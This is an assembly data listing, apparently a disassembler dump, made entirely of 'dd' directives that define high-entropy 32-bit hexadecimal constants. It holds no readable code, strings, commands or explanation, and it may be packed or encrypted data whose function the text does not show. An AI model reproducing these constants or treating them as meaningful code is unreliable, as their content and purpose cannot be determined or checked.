dd 3B6DA1BEh, 2848E3DBh, 0BF057A20h, 85B92FCh, 0FAEB24FAh
dd 641060B7h, 0FDBD00E6h, 8132C176h, 6C4209EFh, 0A8FD495Ah
dd 5D04083Dh, 57ED1CE9h, 47A4FB3Bh, 53F6ADC6h, 7F0D3156h
dd 7E5BD8FFh, 5ACA0h, 7E5951B1h, 8E118D25h, 3DE26E58h
dd 4EF5161Dh, 812700BBh, 897B9FE9h, 0C82D3203h, 0D1096F0Dh
dd 0DB7B50C9h, 4A1E58CBh, 386E51A1h, 0AD4EE950h, 0F2BBA10Ah
dd 0BD1ACB00h, 4E01C9C7h, 138BBF34h, 2945977Dh, 0B1F4002Fh
dd 881DBE39h, 0DB040768h, 2A94E93Fh, 108D8FBEh, 0E14F3F25h
dd 20DDCEA6h, 61388314h, 13017667h, 0F84ACC68h, 260FD0C9h
dd 0F62C3129h, 0B7D1A84h, 0A273C1EBh, 7C77C282h, 4EB57468h
dd 860B9B4h, 880BDC46h, 2134F4F9h, 0C3C96F8Ah, 7828B010h
dd 0F6921F9Eh, 0CB8B4DF8h, 5F95C1F0h, 5718A21Dh, 2675628Ch
dd 27394C50h, 0C380DA60h, 406326Bh, 8AB0CF1Bh, 0E1C64C29h
dd 2726431Ch, 12C616FDh, 52DD55E9h, 0D829B060h, 169B2D02h
dd 408B399Ah, 80FD5E97h, 3F09055Ch, 82451C6Ch, 7F1B6871h
dd 2DE98D98h, 4CD75B59h, 14040483h, 36001DD0h, 0E96C5111h
dd 0AB87AE27h, 0BD28FCB6h, 1920BFAFh, 0B330FEF2h, 6639F48h
dd 139D3D3Ch, 3D8040Ch, 0BE016F36h, 8E610h, 6095BE56h
dd 2DE927C9h, 21E64D5Ch, 5980EDE0h, 96789509h, 7FF8B841h
dd 0B5511C66h, 0BFE816EFh, 8F68FF60h, 526EA92Ch, 2B5DAA3Ah
dd 24B8464h, 49E7B4Ah, 6C43AA5Eh, 9259014Fh, 9871F5F0h
dd 125A77E9h, 0FB372132h, 0B92D5DEEh, 0D2DD2D8Bh, 0FC3B22E0h
dd 0D6DCA159h, 0A9CC79ADh, 82F55Fh, 283AD545h, 15DE9477h
dd 0FFE0E7E9h, 3092DD3Bh, 5C6E4774h, 0A35BA787h, 232E36D1h
dd 6F05F9FEh, 3A822E37h, 279E56D3h, 54B7CD16h, 8112FBDBh
dd 33E934FAh, 25A11909h, 2AB7CA80h, 810F1658h, 911B3EAh
dd 431C84F0h, 6300D1BDh, 56DAAF28h, 0F7E4CE89h, 382EE916h
dd 0AD2F9DB3h, 51970650h, 0E953D044h, 1863F732h, 553755Dh
dd 8447E25h, 5F12EA83h, 0A3EEB513h, 0A068876Bh, 4079C929h
dd 1E6D4F64h, 93024F71h, 6F28F1FBh, 97ADD479h, 227750E2h
dd 5F9CF1FDh, 0FFEF7C6h, 0DAEC434Bh, 0A36CBFC6h, 68EA0106h
dd 258B19FEh, 0FF79BCF7h, 425E4AA5h, 31C6DD21h, 93C069EEh
dd 0D3334DEBh, 0AE314DCBh, 0AEAC6813h, 4C2FCBF3h, 0BE9B643h
dd 30697A44h, 68BB8C7Ah, 0C511A52Fh, 82E98595h, 30E3FEC3h
dd 0E4CFEC92h, 0B27BECEEh, 7EBCA96Bh, 2FF15375h, 75402B8Fh
dd 0BC876AC5h, 50CAF916h, 0ADAD502Ah, 0E3035BABh, 2325791Ch
dd 0CFD6F466h, 65F05649h, 0F612B601h, 1EE80DEh, 0B56CC6CCh
dd 7F14ABE0h, 3193C788h, 6938F31Fh, 0EE17923Ah, 5A148EB9h
dd 0D5842E51h, 7F8DBAB0h, 288ABD6Ah, 484BF5D0h, 501670A2h
dd 662D0954h, 7ABFC4F8h, 350302D7h, 0A5B43B7Dh, 0BC650AC2h
dd 5EF10984h, 7682E6BAh, 9B1A0AF6h, 0F55696EFh, 68136146h
dd 903217CDh, 2E096151h, 9B3F2425h, 0E0E912A3h, 4B5F5844h
dd 9FAA0C2h, 0FF7D58Bh, 620C4BFAh, 4BF7EBh, 0BCA986CAh
dd 38F07600h, 0D0B503EEh, 0FA584AE0h, 0FD2BCF39h, 346F1AB4h
dd 17527764h, 2346540Eh, 0F543DE20h, 0D91F6137h, 7634DABDh
dd 0EB054ED8h, 0DB5B140Bh, 3EE642AFh, 0F8F88802h, 609009h
dd 0E3715D6h, 517DCA81h, 6D1F6A2Ch, 0B835F803h, 0BF0C094Fh
dd 5A57E017h, 37EA052Dh, 111722Dh, 83363B9Dh, 7D173EACh
dd 0EA62C4CEh, 587FC688h, 0C1C5581Dh, 3DF13D27h, 6116D6E9h
dd 6FBA6EE9h, 0C71D79B9h, 774349CAh, 14C52B04h, 128948E0h
dd 0B7EFCFBDh, 0C1EE4AB2h, 0DA720CCEh, 7168A9D7h, 61B0B2Fh
dd 8886B5D4h, 0F8402C4Ah, 890312C7h, 0DE2F017Ah, 2B6F7967h
dd 60136FC0h, 0E949097Fh, 64FDEC3Ah, 1F5498F4h, 8C221F09h
dd 801C358Bh, 6A3F130h, 987F049Fh, 1B6C626Fh, 47DB8C7h
dd 4B82D744h, 194C5D05h, 444C2F27h, 3EFEC07Eh, 68F4CCFBh
dd 8C9C60FAh, 35A8C164h, 5621B802h, 0AA482001h, 0AF0B2D48h
dd 435B39Dh, 0A51E1E64h, 0E1258FF7h, 4A7C4604h, 7002725h
dd 0B567C5E9h, 936FB144h, 331C853Bh, 4D882D88h, 312FF929h
dd 0F56B71F9h, 0CCB98387h, 5829C24Bh, 42401529h, 4DE95651h
dd 0FE14B89Fh, 9C2596CCh, 0D663535Eh, 581025B5h, 0F858E4FFh
dd 3B44B535h, 67C3184Bh, 16C3A3D8h, 6565308h, 97361D4Ah
dd 92ACC15Eh, 0D0186525h, 7C003AAFh, 23BF573Eh, 0BD267E4Dh
dd 0DE0946DAh, 8747424Ah, 0FF0B56AEh, 11ED6B94h, 5300328Ch
dd 38137E68h, 0BDEC3E8Dh, 1468907h, 0E4F3673Bh, 0A717C74Dh
dd 73BAF0DEh, 0EF900832h, 5CD42E25h, 0C1353AAh, 0F552FCB8h
dd 0E840B5FFh, 0B7013F4Dh, 10D00D16h, 7CFC676Eh, 6BEFB481h
dd 75F3AF5Eh, 286C0065h, 0ADB551C8h, 994CE2E9h, 80068947h
dd 9062A841h, 0A3FCED32h, 524C2D48h, 0FEDA05FFh, 126F8BBBh
dd 10CD4326h, 93DEEE62h, 0EF802321h, 4FE12ECh, 40D198Eh
dd 0E8EF3768h, 7B7DC395h, 0BD3D69Fh, 7519576Eh, 682465Dh
dd 0E5C159CDh, 0D7900605h, 991A4F24h, 8373B063h, 0BC5CE1C6h
dd 55999C2Fh, 0A85B21F8h, 0CB68A6D0h, 61CEBE3Fh, 0DA055199h
dd 727C0009h, 0D33AFC6Eh, 1105056Eh, 15DBEA6Dh, 7D9D6809h
dd 404F4B66h, 9F31A7C8h, 0FDCA4D12h, 1A28275h, 18C5DDEEh
dd 0BF9ADBEh, 359477DBh, 4F8A9733h, 0C0B9BFF8h, 90AAB76Bh
dd 349D42E6h, 91C1F147h, 1F046D95h, 4E1C06F5h, 0A0090C3Bh
dd 0AB1A5D44h, 2C3E0449h, 7443A3ECh, 0F894EE96h, 325718C0h
dd 0FD455AD6h, 0B314C5Dh, 835282FBh, 3B36F66Bh, 1793E0ABh
dd 140DE3B6h, 0A4A9A63Bh, 255AD30Bh, 3387F56Dh, 0C982E844h
dd 0D165F72Ch, 70D5B68Bh, 0D22F9C7Bh, 0E2C64161h, 5252F45Fh
dd 29B6EC60h, 7FE0DB5Ah, 4073275Dh, 0A002A6DEh, 0F6C015C8h
dd 23EE30A0h, 50C0177h, 401F67E9h, 50EA1680h, 30970328h
dd 9F259E8h, 0FE05A1A4h
dd 0EA3AE0A1h, 30BBD575h, 35DE687Bh, 0B70696B7h, 0E912D764h
dd 0F7BB496Dh, 0E1295AFBh, 33E9CD48h, 0FE131A37h, 4103F2BBh
dd 0EB80C328h, 31E3D1DEh, 23C7862h, 10346979h, 0EB0ED9D7h
dd 8289EE5Dh, 408654E4h, 1C906878h, 495BEAB8h, 1E779080h
dd 0E95A16D8h, 5F44EE4Eh, 0AE58088Bh, 53955B5Eh, 844EB036h
dd 9AC49168h, 6BAC37BEh, 0BF2FC2C5h, 38102DE7h, 0E1D114D2h
dd 13573E02h, 0B5ED8555h, 0ACBA68C5h, 169D4A4Bh, 1A39B480h
dd 0A2E97C34h, 9051540h, 2F8D2A48h, 2918BBF4h, 2511BF93h
dd 425E773Ah, 0B0396603h, 3382FD70h, 5B0886C7h, 4AD638D0h
dd 9EE90D85h, 0F098BA83h, 310DE5F9h, 0F8FC2E59h, 0C27CD04Bh
dd 0F3255233h, 9AE2F707h, 0AD54080Bh, 51B2D0C2h, 0A3B60FDEh
dd 0EF804B44h, 0A0225B32h, 73BCB9A0h, 1F724A70h, 8C795FC3h
dd 0E111522Bh, 3506D809h, 649B003Dh, 0A179700Bh, 0BF03ACC0h
dd 37D760F8h, 0E1A62968h, 7190F42Fh, 94022F5Bh, 0F95A5452h
dd 0CFFDEB86h, 0A579A574h, 722BE902h, 0C48A60B1h, 0ED99527h
dd 0DE6F57C9h, 7B738E0Dh, 8C876661h, 5B4B698Fh, 7897CCE0h
dd 0E364DD82h, 1E96ECF4h, 2E7E973Fh, 5206C5ADh, 4E6CE468h
dd 6432F7B0h, 0D0291C42h, 0C9777809h, 65DF5D1Ch, 78200994h
dd 0A80B6A5Ah, 750DD27Bh, 120803A8h, 0AD73B45Dh, 8019C4B2h
dd 540647C7h, 679A17Ch, 0B6E93ECDh, 0DE97D967h, 19510BDDh
dd 0F9E3479h, 0BE747A40h, 0B85AEF5h, 0CC7BE98Bh, 81604556h
dd 2F5A2AEBh, 35053C71h, 19D52AFh, 90EE389h, 1DC0FA3Fh
dd 0FEBFE7E6h, 1A27539Bh, 0F20DA475h, 55BB61AFh, 0E30A04B9h
dd 0FCA5A77Fh, 9FF8C380h, 0F41F3F5Eh, 9A37C3DEh, 1FE40ED7h
dd 0B11265BDh, 94AB67B2h, 0ED81E4BDh, 7E359600h, 0A3B8503Ch
dd 17E72D55h, 5940677h, 7A5EBDA3h, 0C732636Bh, 0C0B985Fh
dd 42D39772h, 3113F28Dh, 3316DE01h, 5E09D5D6h, 0BD508270h
dd 8648ED0Fh, 34E1109Fh, 7C6B6802h, 5F5A579Ch, 52758422h
dd 0C61BCC3h, 823E0582h, 41344919h, 0D146F761h, 454AE979h
dd 7729EF21h, 0C26F3E25h, 0C4F70FC9h, 3B4A8Eh, 10D4BBF2h
dd 0C1F45604h, 0C2794A64h, 2ECFF1ABh, 5A7F0FFCh, 0F869849Ah
dd 0B5B2977Bh, 0AAF5D281h, 2B043174h, 84D730A2h, 6F4AA037h
dd 500A6827h, 0CC475FC2h, 0FE9D0948h, 7CE9C1D6h, 24722BECh
dd 0BE1B6C51h, 6AE02DF1h, 0C6975443h, 61595B50h, 0E75EF154h
dd 4A333E00h, 0D14B57ABh, 3F2890E3h, 0AF089460h, 4C09DE89h
dd 0A036FF07h, 0E909EF42h, 7D153DEh, 66140983h, 4B6A0535h
dd 8239E737h, 67796B81h, 3B3A792h, 4458E90Ch, 950BB8ECh
dd 55C530h, 4A205D2Bh, 0C7292019h, 0FC580881h, 3F009FF7h
dd 0FD097DB4h, 591D685Fh, 6A806C5Dh, 9171338h, 0C90B90BDh
dd 468C03Ch, 0B2B3539Ah, 85F38017h, 0C6810D0Eh, 120C97C3h
dd 84E5E961h, 1E16EBD7h, 790930Eh, 3EE50604h, 0BF5A81B8h
dd 0E9EED777h, 0A4F2579Bh, 9EC94CBDh, 0B228162Bh, 2AF4B2Ah
dd 2CB4E98Bh, 7C24D7C5h, 0D2FBDC44h, 9AD5CC53h, 53C6D5D3h
dd 35E5D72Ch, 80CDB281h, 76FD2E2h, 8353F205h, 0C056DCAh
dd 387D68A2h, 7DB52CCCh, 5EE539B6h, 8E26C59Dh, 0EA017EF5h
dd 59407AE9h, 145204Bh, 0EEF3CCF3h, 70B06724h, 47B58620h
dd 4B3D0B08h, 7A27BE79h, 2A2E09DEh, 0DB062D8Ch, 31B02D0Ch
dd 73B08930h, 257031F1h, 0DDC95005h, 74CE6059h, 40F60218h
dd 2F706D22h, 1BF0413Ch, 6B44B22Ch, 28D1866Ch, 30A25E72h
dd 0F25936FFh, 222549E0h, 0B543613Fh, 251BBC2Eh, 6A9EFBE7h
dd 0F8F344CDh, 0C7BF4A4Eh, 0C92AD517h, 0C5703A3Dh, 0E7644D32h
dd 80D4F26Eh, 0FF35A9CAh, 0B6A8C153h, 8419AD3Eh, 0F723CD0Ch
dd 0F4383483h, 5A09B3AAh, 47F28FD0h, 0E91A0955h, 7E5C4093h
dd 64810264h, 402128F6h, 30000747h, 7FC05AD5h, 0C2D073EDh
dd 0C280BD16h, 1C13CC43h, 0D80D4E9h, 2F25BFBBh, 0B4D83DDDh
dd 2B1BE5A0h, 0C270282Dh, 5DF0003h, 6EFD1A8Bh, 0D3E02421h
dd 2D76822Eh, 3CCE7809h, 0B01FC3Dh, 6A51568Dh, 0C5F250C7h
dd 85B900AAh, 257A577Ah, 0F102995Fh, 91397568h, 0A13AFB6Dh
dd 0FCE9C889h, 0F0266169h, 45292F71h, 43FD5752h, 6259D80h
dd 0BBFC2EB0h, 0E9173806h, 0FD5EC893h, 0A4EE3C9Bh, 0F340742Ah
dd 1F3B7784h, 56CB299Dh, 5EF04BB3h, 4F7874D8h, 98036240h
dd 58AE3944h, 0D2E912F9h, 0FC04564Dh, 734912D5h, 6A0CF420h
dd 0F2D8F7BAh, 0F4151422h, 0D900F637h, 317233DFh, 9874E9D7h
dd 0A34A8EA4h, 0A66A6CA1h, 925955Eh, 57EDC145h, 17EECD84h
dd 0E68840FBh, 4A14D827h, 5E97B9B0h, 0A257448Dh, 4F5F8031h
dd 4AE9FA87h, 0A2D31278h, 0E491E595h, 0DB50AE15h, 4FC24E1Fh
dd 8649A81Bh, 0E71DD9F1h, 0FE3B9D25h, 8336F669h, 0BB4B1A5Dh
dd 0F35E698Eh, 0F0D108Bh, 0AEE5542Dh, 10C21BA1h, 0EB680738h
dd 13BC1859h, 0D7CC4A5Eh, 0EF1C1248h, 8A3FA263h, 8717D857h
dd 0D4620DE1h, 72A0E302h, 0A28368C5h, 48E8CD4Dh, 49BDE29h
dd 32DFC681h, 1C7A10EDh, 0B30505Dh, 3A0AEB68h, 0D83642C4h
dd 0D8534E81h, 85414D3Bh, 565AB03Ah, 28CA735Ah, 6AEB207Ch
dd 77E92DB4h, 0E5978464h, 5D5202B5h, 7DF632E9h, 0D7F74F07h
dd 0CF814730h, 0B151160Ah, 17B5E86Eh, 0DAFDB8E9h, 286984h
dd 3506E0C1h, 0E58C0512h, 0C2C7899Fh, 950081DFh, 0B14CF168h
dd 8D50926Dh, 8BE96E98h, 0AF22D1A5h, 62AE2BB5h, 0A389532Ch
dd 0E92473F0h, 98EAF34h, 0F374E4FBh, 6880EDA8h, 0B6F6788h
dd 2B0E72B6h, 55734935h, 6071C7C6h, 0CA5BF695h, 5ACA028Bh
dd 587F7254h, 1CE5B99h, 968A056Bh, 0BD55E449h, 7516790Bh
dd 9A3F541Dh, 0B096AC3h, 10893AE5h, 7BAE5650h, 927F39CAh
dd 0D9E909B0h, 40336FD3h, 5F88B98Dh, 0D0BF533Fh, 6247FAA0h
dd 7AB35C97h, 28588E60h, 0EB9CF09Dh, 6F948DBh, 0C19ADA2Dh
dd 0B5BBEFDFh, 0C004AF29h, 71FB2E65h, 7B5B3760h, 4FA656BDh
dd 24F928C8h, 7123027Fh, 0F2C309CAh, 881EFC2h, 33755D68h
dd 5CE9166Bh, 0C95E284Eh, 0D53763CFh, 0EAFF9CAFh, 0E8246AB6h
dd 96510803h, 0DC6ADA64h, 71023D5Bh, 4F759125h, 5204F360h
dd 0BB79EDFFh, 40ED0491h, 0F1BF3BE3h, 82080573h, 0CCC0D718h
dd 76B8E93Fh, 0E5AB32D3h, 0A2B46E75h, 542217A9h, 0AB02006Fh
dd 0E9565976h, 63647B30h, 5A3094F6h, 2C801BDh, 0BCE01B20h
dd 0C921FC7Ah, 4B082003h, 0F42EF5Eh, 0C8DD4BE9h, 1E6B0FABh
dd 0E53165ADh, 0B0D996FFh, 22433EB0h, 5E1BEE03h, 0C011882h
dd 27834151h, 86A0CE01h, 140CD008h, 5E0D3840h, 0A791F84Dh
dd 9519DEC6h, 344B825Fh, 9BB800C0h, 7F04C264h, 4974A00Dh
dd 6B699A81h, 3641B787h, 0F680FB8Eh, 6FF1213Ah, 0BA2CE913h
dd 1FEE8C45h, 912739E3h, 579D50D0h, 0D3EEB69Ch, 4265C095h
dd 505B7E1Ch, 31290603h, 53805D2Bh, 0D446AF41h, 2EEBF998h
dd 90B291E8h, 29C2387Ch, 962A792Ch, 0DEC5EB35h, 7E144F04h
dd 43005309h, 40135009h, 2B0228B8h, 0E945377Ch, 0A8ADD05h
dd 2FC86ABEh, 96ADF479h, 509E090Dh, 0E15DF488h, 4101F988h
dd 0AD66012Eh, 0DDFA62CAh, 5608C6E7h, 77E4C0BEh, 0EABF5411h
dd 5E0802CCh, 907651h, 74373A8Fh, 82DE1C1h, 3A12049h, 0D224A43Eh
dd 25380918h, 0B0FFFA62h, 9D40D44Fh, 515B611Ch, 0A6E9FA60h
dd 6EE6B161h
dd 75894E4Fh, 25F3F875h, 0E77FC070h, 4DDF25FDh, 0B5924A5h
dd 5E44AE91h, 42755F58h, 5034801Ah, 2D3C49h, 489D3DB3h
dd 3E8FB235h, 4C3E0F49h, 18143E0Bh, 98D65C10h, 555A2750h
dd 8CF88DDh, 14161C34h, 652849AEh, 0DC04EB60h, 0EF6E6EFh
dd 26109AC8h, 0CFD9B81Fh, 0C4453791h, 8671BBEAh, 0B9F55551h
dd 3112C068h, 10CA08F0h, 647F2D01h, 40D46B6Ch, 0F46FEE79h
dd 3E730531h, 0BC52E920h, 0F1872753h, 6CE54FE1h, 6BF9EFh
dd 37111B25h, 128DED81h, 0EA6A2E1Ch, 906421Bh, 0EAA5E417h
dd 7B4B3880h, 176677Ah, 8826198h, 3D1331C0h, 20C0B981h
dd 0FC615060h, 0D0B2B759h, 512D5E5Fh, 68F33EB2h, 0E84E5431h
dd 241E0572h, 9468208Ah, 53C09217h, 599CE81h, 0C17E0950h
dd 0A700AEE6h, 0AEAC54F6h, 45DC959Ch, 215DEE02h, 0B6DA40F2h
dd 0C133AB16h, 172554A5h, 7A09FB30h, 6F2138D7h, 5360EF5Ah
dd 4A6B67E3h, 1C3EC18h, 36D56CB9h, 0D16BB7E9h, 6C5BDF0Ch
dd 24B01035h, 6047D6Fh, 0D3A4ADB1h, 1275F2BFh, 7EA4AE92h
dd 1272B4B4h, 3B1DB15Dh, 0B3B232FAh, 437C9A58h, 13C6F339h
dd 0FBC0DD0Ah, 1629B850h, 0A87A9921h, 0C487417Bh, 494A5315h
dd 40F399ABh, 0DA211661h, 0A22F2E41h, 0C31A2ED9h, 0A37232B7h
dd 0BACCD54Fh, 272DF59h, 0F4028BE3h, 0F1085D3Eh, 50C801D3h
dd 450941EAh, 1CF4A9FBh, 5525681Ch, 2D4F2694h, 0E93A02BAh
dd 804A4EBAh, 97609E57h, 0E52195Dh, 856801CEh, 8FB3286Fh
dd 996EC457h, 0AF641D97h, 0BD50F5F0h, 0E84018EEh, 6D849DD2h
dd 0AAEEF089h, 5F2D3700h, 7377E281h, 0E97908D8h, 0BB09D9E5h
dd 0ADC8517h, 8900DBD5h, 55347826h, 6BF97729h, 74005196h
dd 0B2C040Ah, 0C77C70FBh, 0C2DF08A2h, 0D8D54066h, 72F64C7Fh
dd 89F8C600h, 0E0E9E38Bh, 1B8C054Ah, 21674DF5h, 6CD26882h
dd 0E9C7659h, 0E149D96Dh, 0E6B46858h, 16A032C6h, 5F263E1Eh
dd 3A077D2Eh, 78B9CC75h, 664A998Ch, 8B4006F7h, 57BC9D52h
dd 4D40120h, 3AC06EB8h, 3A89FB5Ch, 2D2350E8h, 0AEF71385h
dd 154FAD18h, 0C465AD2Fh, 0F6AA751Eh, 7B45AD4h, 0BF709AE2h
dd 9D74205Ch, 3B42E9DBh, 0CF0E297Ch, 0C44C166h, 1628C325h
dd 397E8CCh, 6866342Ch, 46A54EFDh, 3258B1D6h, 959091BDh
dd 5A32FDE6h, 2669EA40h, 0EF0B70D2h, 0A5A0D121h, 9A9BC879h
dd 0BD321227h, 0F817C919h, 0F5C05789h, 0F7082CEDh, 0EDF3FD35h
dd 74AD46C4h, 0E66DE11Eh, 0F71C0C2Dh, 0F2B7EE17h, 608AF635h
dd 5AC7177Dh, 2E98E66Eh, 0A134EF0Fh, 5C296BE5h, 0C7DDC91Ah
dd 0EF76AFDFh, 40709E4Ch, 4E00BE11h, 814BB118h, 306EC5E6h
dd 22844407h, 2C09534Dh, 5241CDE9h, 0A23BFF3Eh, 75E0D242h
dd 0CB080973h, 6155211Bh, 40000312h, 0B60494Eh, 0DFD1B8C4h
dd 9183B7F5h, 0AB84D568h, 814F13DBh, 246F2A01h, 410A14EFh
dd 844B5E21h, 28015A2Ch, 0EBD16AF8h, 162C9B20h, 0AC58F478h
dd 0BDEE98D7h, 0D3899C1h, 38192C98h, 0ECEF84A0h, 0D28963ACh
dd 0FD885EDEh, 0EB5817FEh, 3F7C9304h, 440D9BBFh, 0C49753B3h
dd 0BB682D63h, 579E8D51h, 896BD94Fh, 2117E79h, 2DD80A13h
dd 3C7AE0D5h, 0E9391272h, 0E156D057h, 0C87921B0h, 0DCA6F0EDh
dd 89A2A509h, 0CB7B16CDh, 33624B7Ah, 0D35A521Eh, 0EA0035FFh
dd 0F26ECB86h, 0AE3C5F87h, 58304778h, 68C29820h, 0E29A3CBAh
dd 31E93F40h, 0CBC1BD60h, 585916C0h, 0BC056436h, 1F41C167h
dd 690C80D6h, 0F5093505h, 0DC42A927h, 2DB3973h, 0A1E9508Bh
dd 6E2577DCh, 0F85A7EE3h, 0C265C026h, 0BA954066h, 2A92DABDh
dd 99C0AA0Eh, 805D18CFh, 940B3D9Dh, 88EB011Bh, 0E2708AEh
dd 7F2C3719h, 657559E9h, 4185C850h, 1F9A20CFh, 0A3017FB9h
dd 0C1422423h, 0DC812771h, 52853998h, 2D3F2048h, 0C365A29Ch
dd 9D57D2A0h, 0AA2FF716h, 5E7FC64Fh, 5053FCC5h, 868AEB6Ah
dd 9881F55Ah, 8EED0472h, 0C718E203h, 7E64EB1h, 5AB73958h
dd 199A3D3Ah, 0FE977F28h, 0EFBA2526h, 38626EDCh, 0E4F50B63h
dd 3BC181AFh, 0EE7C4B3Fh, 8D8F2AF5h, 81A83E12h, 3FED8D5Ah
dd 42A759F4h, 0AEA0D791h, 0C5CA4EE9h, 642AAE26h, 0BD86942Ah
dd 768CD9E0h, 5D4D92B7h, 580318F8h, 0C92F962Dh, 30FA852h
dd 1110A0Dh, 3A0705F0h, 726E11D1h, 2402F02Fh, 0BDC2FB72h
dd 54AB1794h, 0D301BF4Eh, 223685Bh, 21826957h, 676CDD6Ah
dd 45599631h, 0AA041E9Ah, 7D827485h, 9599C5F3h, 0EE0549BDh
dd 0E5429CE9h, 0DD624147h, 2302B2Dh, 4AFD095Eh, 0FAC1216h
dd 75A27ADDh, 8E804E6Dh, 46A3728Ah, 3AE66C1h, 9D6ECEFEh
dd 3BFDE14Eh, 270831AEh, 669C87FCh, 0F733DE87h, 0C10D5ED3h
dd 41689DF5h, 0B8EBC10Bh, 42021D0h, 8447A5E5h, 0C245BBE9h
dd 2FEC32E9h, 0EF2F7142h, 9F633E32h, 19D291CAh, 0FD150250h
dd 1733F195h, 5828C166h, 87E86E05h, 0A4775A25h, 0F44081A9h
dd 5B57BB25h, 681377A4h, 318D172Dh, 0BA676BF7h, 326C35Dh
dd 0CA1FB30Ch, 68E30143h, 475C0CB2h, 0E3738B60h, 0C3619D02h
dd 8CDE4352h, 0E961A5A0h, 550D1131h, 22E0C0C3h, 4BF3F617h
dd 6F349DFBh, 0E7FE3252h, 74BCD247h, 72A431E1h, 0D4FD4AAFh
dd 1FA7B04Ah, 0F802BA41h, 64D6535Eh, 46EACCAFh, 0E1511D63h
dd 7355F168h, 0F5BC7282h, 0E9FF8CBFh, 0D452C773h, 0F465D29h
dd 0D74DBAF8h, 0F2810008h, 2B894AE3h, 0DE2EE42h, 25EE5761h
dd 0A8E901E6h, 26837E10h, 0B757C5Ch, 45D37DBFh, 983FA37Ch
dd 903C202Ch, 66D72032h, 0AEE5CF32h, 0A525D705h, 4FCB8329h
dd 0B125EE9Dh, 63D82102h, 9FA4C03Dh, 0F8828320h, 9DFE52DFh
dd 17B8475h, 57612CEEh, 0EB554Ch, 3CDF4071h, 0C02383E9h
dd 6691BF46h, 0C1BF3733h, 0D93F0490h, 278C743Fh, 0D6C25558h
dd 524CC8EBh, 5D2FBA03h, 0BB4A5585h, 0AA925087h, 621A2DE9h
dd 6254E7B1h, 3004D211h, 4E182603h, 0A52D3AE8h, 0CABCC85Fh
dd 1E562D31h, 0FF89897Fh, 76B7BB00h, 0E917165Bh, 98F9C64Ah
dd 0EA88870Ah, 0EC7313ECh, 9BAC4B9Ah, 8B3DC2B4h, 8709577Ch
dd 9992CC34h, 365A0820h, 8B01E635h, 20856AD5h, 6CE5EA40h
dd 49884C50h, 5340ED1Ch, 3CB4BF80h, 0FB7DD6EEh, 0A658A58Bh
dd 0EEC1A120h, 20C86F3Eh, 0BD3958ECh, 1C40AB16h, 0A65558E3h
dd 62F07304h, 0FEC6BE5Dh, 126F697Eh, 3BF19FF8h, 41C921D8h
dd 5F28A2Dh, 40023BF8h, 610C9411h, 515754E8h, 945CB86h
dd 5052D0F7h, 4654F232h, 731CA003h, 5B0C0111h, 17A9DA3h
dd 931549D5h, 0E489B3E4h, 4F682464h, 45DE8DBCh, 0A5C4A1EEh
dd 55EF5527h, 0A50B5327h, 642165C9h, 0C84EFD7Bh, 39804EDCh
dd 0EB9C8FC3h, 106E3B3Eh, 0A71765B0h, 0AABB84BFh, 0E3957BE8h
dd 178AFE4Bh, 45B87C17h, 0A83EE3C3h, 53ACC745h, 67817234h
dd 6B424A2Ch, 0AB05402h, 4975E16Eh, 2AF06457h, 8AD37472h
dd 0ED0FDE71h, 0BCB060Dh, 0A8CEE913h, 0E5EF5D4Eh, 62B2650Dh
dd 18575A27h, 0E12285ACh, 0EE58020Ch, 53188073h, 9058142Bh
dd 41676ACh, 0F8E90215h, 578AEEC3h, 1C686B10h, 0D992CA87h
dd 7F08F51Bh, 0FADE2510h, 47C52220h, 0D14C422Dh, 4BF101F6h
dd 56543F7Ch, 0D66A60FEh, 0E0535C0Eh, 1D13F73Eh, 0E7910021h
dd 66296415h, 0F0BFD176h, 0EA5B26ECh, 930309CAh, 0FAAA965Fh
dd 567B5675h, 0B20C9851h, 0C9394FF0h, 2D82406Dh, 24C1028h
dd 2AEA18EAh, 16D7010Fh
dd 0E8729EE9h, 0D6099E71h, 3013528Ah, 0F76DB1F6h, 5F279DFBh
dd 0F25443EEh, 0E574BDh, 0CC888DB1h, 0B53E5159h, 0C281A5C4h
dd 93FD00F5h, 90232F5Dh, 0EC275B0Bh, 2DB0C452h, 8C53FA13h
dd 0F425AFF5h, 8B1D8B7Ah, 0FE9940F3h, 0BEC058C2h, 9938039h
dd 7677EF28h, 5282F7C0h, 37A176B6h, 0B8067DE6h, 0C6C87A1Fh
dd 0AE3B12EAh, 0F8C2111Ch, 750BB151h, 0FE628B76h, 0F48975C1h
dd 15AE2009h, 881985E6h, 166C0439h, 90EA596Fh, 7D44B01Ch
dd 0E94A4806h, 4D32303Fh, 2579005Dh, 0B73B320Ah, 825D2ED9h
dd 0A2B35316h, 1CD35EFEh, 9BCBC015h, 0E3C0D3F6h, 74A20561h
dd 0F1F4C9FEh, 60E97D25h, 0E0C3517Ch, 1612E52Ch, 4310FB01h
dd 3CE14508h, 8DE9A345h, 39800FF0h, 0F59938E5h, 0F08C0CA2h
dd 3CB003EDh, 0C214AE7Fh, 7299280Dh, 8CB59EAh, 3DD11105h
dd 11A73475h, 9074D4DCh, 0FFA020DDh, 3A8E5650h, 55F66880h
dd 0B32E5479h, 0EEA4EA6h, 0D73228DFh, 0FE6B9181h, 4021304Bh
dd 0D64C09Dh, 0A74C2C93h, 0C06A125Ah, 221FBD4Dh, 0F765100Ch
dd 1393AD5h, 0D105BE4Bh, 0E00825E0h, 0E29511C7h, 72E60087h
dd 2577FE5Dh, 0C0A80E9h, 0EBCB15D6h, 751AB902h, 0F1D5553Fh
dd 0E94E6068h, 5797F19Ch, 56205E18h, 4989D995h, 862F674Ch
dd 691C7E9Ch, 0C4497307h, 6E24E16Ch, 1E051270h, 697E3047h
dd 3BAB2CCCh, 14462BFh, 454B6807h, 3D44D83Ah, 1313203Ah
dd 0A25336E9h, 899E4427h, 5759CAC0h, 0EBEC4F64h, 63880804h
dd 56D553A0h, 0CC4CC0A9h, 1C500E8Eh, 81834666h, 0BB27D0F6h
dd 0D6F7C94Eh, 0B0E6C1F0h, 849E4BA4h, 0EE39FB6Bh, 104EF23Bh
dd 9B4817CEh, 1DFF713h, 9B28C7C1h, 88A96B0Fh, 40F44040h
dd 5F2D68A9h, 0A7EC9862h, 1F858253h, 0F02CE42Dh, 3575081Eh
dd 5D911BDAh, 0CC73777Eh, 0AFB5FFFDh, 37A8EF4h, 0E9291E10h
dd 8D5FC84Dh, 0DD93D75Eh, 35E80AA1h, 650A449h, 19345AC3h
dd 0FB09E258h, 25B055Ch, 427F4EE5h, 4B60DDE4h, 8C5F55D8h
dd 0CD00F4B8h, 311C3B58h, 524EE9F9h, 7DEEDCD2h, 81A02670h
